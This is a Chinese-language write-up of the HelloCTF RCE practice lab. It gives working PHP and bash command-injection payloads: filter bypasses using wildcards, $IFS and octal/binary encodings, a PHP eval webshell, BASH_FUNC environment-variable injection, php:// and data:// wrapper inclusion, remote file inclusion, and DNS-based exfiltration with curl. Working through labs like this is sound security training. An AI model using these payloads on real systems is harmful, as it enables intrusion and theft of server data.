前言
本篇记录打HelloCTF RCE靶场
##level 1
一句话木马
level2
###array_filter函数
eg:
1 |
|
输出结果:
1 | Odd : |
payload:
content=[1],function($X){echo $flag;}
level3
一句话木马
level4
shell运算符:
&& (逻辑与运算符) |
AND操作 只有当第一个命令 cmd_1 执行成功(返回值为 0)时,才会执行第二个命令 cmd_2 。 |
mkdir new_folder && cd new_folder (只有在新建文件夹成功后才进入该文件夹) |
---|---|---|
` | `(逻辑或运算符) | |
& (后台运行符) |
将命令 cmd_1 放到后台执行,Shell 立即执行 cmd_2 ,两个命令并行执行。 |
sleep 10 & echo "This will run immediately." |
; (命令分隔符) |
无论前一个命令 cmd_1 是否成功,都会执行下一个命令 cmd_2 。这允许将命令堆叠在一起。命令会依次执行。 |
echo "Hello"; echo "World" (先输出 “Hello”,再输出 “World”) |
level5
level6
过滤了一大堆
过滤的字符:
- 字母:b-z(小写)、A-Z(大写),即除了a外的所有字母。
- 特殊字符:_、@、#、%、^、&、*、:、{、}、-、+、<、>、”、```、|、;、[、]。
未被过滤的字符:
- 字母:a(小写)。
- 数字:0-9。
- 特殊字符:.、,、$、=、!、/、\、空格等。
使用?
通配符 /???/?a? /??a?
匹配到的就是:
?cmd=/???/?a? /??a? //能匹配到/bin/cat /flag ,接着搜索Geesec即可
level7
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
payload:
?cmd=cat%09/f*
level8
/dev/null 是一个输出重定向,它把标准输出重定向到 /dev/null,这样就不会有输出出现在屏幕上。
2>&1 是另一个重定向操作,它把标准错误输出复制到之前的标准输出位置(即 /dev/null),这样标准错误也不会出现在屏幕上
可以使用命令分隔符 ;
或者写到其他文件之中:cat /flag > 1.txt
/1.txt
level9
基于bash无字母命令执行
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$’\xxx’可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$’\xxx\xxx\xxx\xxx’的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如”ls -l”也就是$’\154\163\40\55\154’ 只能拆分为$’\154\163’ 空格 $’\55\154’三部分。bash-5.1# $’\154\163\40\55\154’
bash: ls -l: command not foundbash-5.1# $’\154\163’ $’\55\154’
total 4
-rw-r–r– 1 www-data www-data 829 Aug 14 19:39 index.php
payload:?cmd=$'\143\141\164' $'\57\146\154\141\147'
level10
这里只能使用二进制的命令,使用在线脚本生成payload
但是发现get传参之后并没有执行命令
在 URL 中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分
所以要把payload中的#
进行URL编码%23
$0<<<$0\<\<\<\$\'\\$(($((1<<1))%2310001111))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310100100))\\$(($((1<<1))%23101000))\\$(($((1<<1))%23111001))\\$(($((1<<1))%2310010010))\\$(($((1<<1))%2310011010))\\$(($((1<<1))%2310001101))\\$(($((1<<1))%2310010011))\'
level11
bash终端的无字母命令执行_数字1的特殊变量替换
直接使用工具
level17
PHP命令执行函数
RCE无回显命令执行
判断:
1、延时
2、dns请求
执行
1、直接写文件
1 | ?cmd=whoami>test |
2、反弹shell
3、dnslog外带数据
curl 'ls /'.域名
level18
环境变量注入执行任意命令
- BASH_ENV:可以在 bash -c 的时候注入任意命令
- ENV:可以在 sh -i -c 的时候注入任意命令
- PS1:可以在 sh 或 bash 交互式环境下执行任意命令
- PROMPT_COMMAND:可以在 bash 交互式环境下执行任意命令
- BASH_FUNC_xxx%%:可以在 bash -c 或 sh -c 的时候执行任意命令
1 |
|
当提交参数:envs[BASH_FUNC_echo%%]=() { cat /flag; }
实际流程:
envs[BASH_FUNC_echo%%]=() { cat /flag; }
PHP 接收后调用:putenv("BASH_FUNC_echo%%=() { cat /flag; }");
PHP 调用:
system(“echo hello”);
内部发生了什么?,system() 创建子进程。默认 shell(通常是 /bin/bash 或 /bin/sh)启动。
这个子进程自动继承环境变量。Bash 看到 BASH_FUNC_echo%%,还原为:function echo() { cat /flag; }
然后执行echo函数
BASH_FUNC_echo%%
: Bash 允许通过环境变量定义函数,格式为 BASH_FUNC_函数名%%=() { 命令; }
level19
1 |
|
file_put_contents
函数:
两种方法:
1、写入一句木马
?c='shell.php','<?php+@eval($_POST["cmd"]);?>'
2、通过构造参数闭合原函数调用,并追加任意PHP代码
c='','');echo(
cat /flag)'
这样之后原本的代码变成这样:file_put_contents('','');echo(
cat /flag);
level20
一个普通的文件上传没有任何过滤
level21
1 |
|
1、直接读取文件
c='/flag';
2、使用伪协议
c='php://filter/convert.base64-encode/resource=/flag'
c="data://text/plain,<?php readfile('/flag');"
3、input写入
c="php://input"&<?php system('cat /flag'); ?>
4、远程文件包含
c=https://raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI&a='readfile('/flag');'
level22
PHP 特性 - 动态调用
1 |
|
PHP 支持 变量函数(Variable Functions)语法:
若变量后跟随 ()
,PHP 会将该变量的值作为函数名执行
例如:
1 | // 写法1:直接变量调用 |
因此,在本题中$_GET['a']($_GET['b'])
$_GET['a']
被解析为函数名
$_GET['b']
被解析为函数参数
level24
无参数的RCE
1 |
|
功能分类 | 函数名称 | 功能描述 |
---|---|---|
获取外部值 | getallheaders() |
获取所有 HTTP 请求头信息 |
session_id() |
获取当前会话 ID | |
获取内部参数 | localeconv() |
获取当前区域设置的格式信息 |
getcwd() |
返回当前工作目录 | |
scandir() |
返回指定目录中的文件和目录数组 | |
dirname() |
返回路径中的目录部分 | |
chdir() |
更改当前工作目录 | |
数组操作 | array_reverse() |
反转数组 |
pos() |
输出数组的第一个元素 | |
next() |
指向数组的下一个元素并输出 | |
文件读取与显示 | show_source() |
对文件进行语法高亮显示 |
readfile() |
输出文件内容 | |
highlight_file() |
对文件进行语法高亮显示 | |
file_get_contents() |
将整个文件读入字符串 | |
readgzfile() |
读取文件(支持非 gzip 格式) |
说明:
- 无参命令执行的核心在于利用函数特性绕过无参限制,通过获取外部值或内部参数实现功能。
- 数组操作函数常用于处理获取到的数组数据。
- 文件操作函数用于读取或显示目标文件内容,常用于信息泄露或代码分析场景。
1 | var_dump(scandir(current(localeconv()))); |
随机读取:
array_flip确保 array_rand() 返回文件名(键),而不是索引(值)。
array_rand:避免直接索引(如 scandir()[2]),随机选择文件名(键)。
颠倒键与值后,随机读取键(文件名)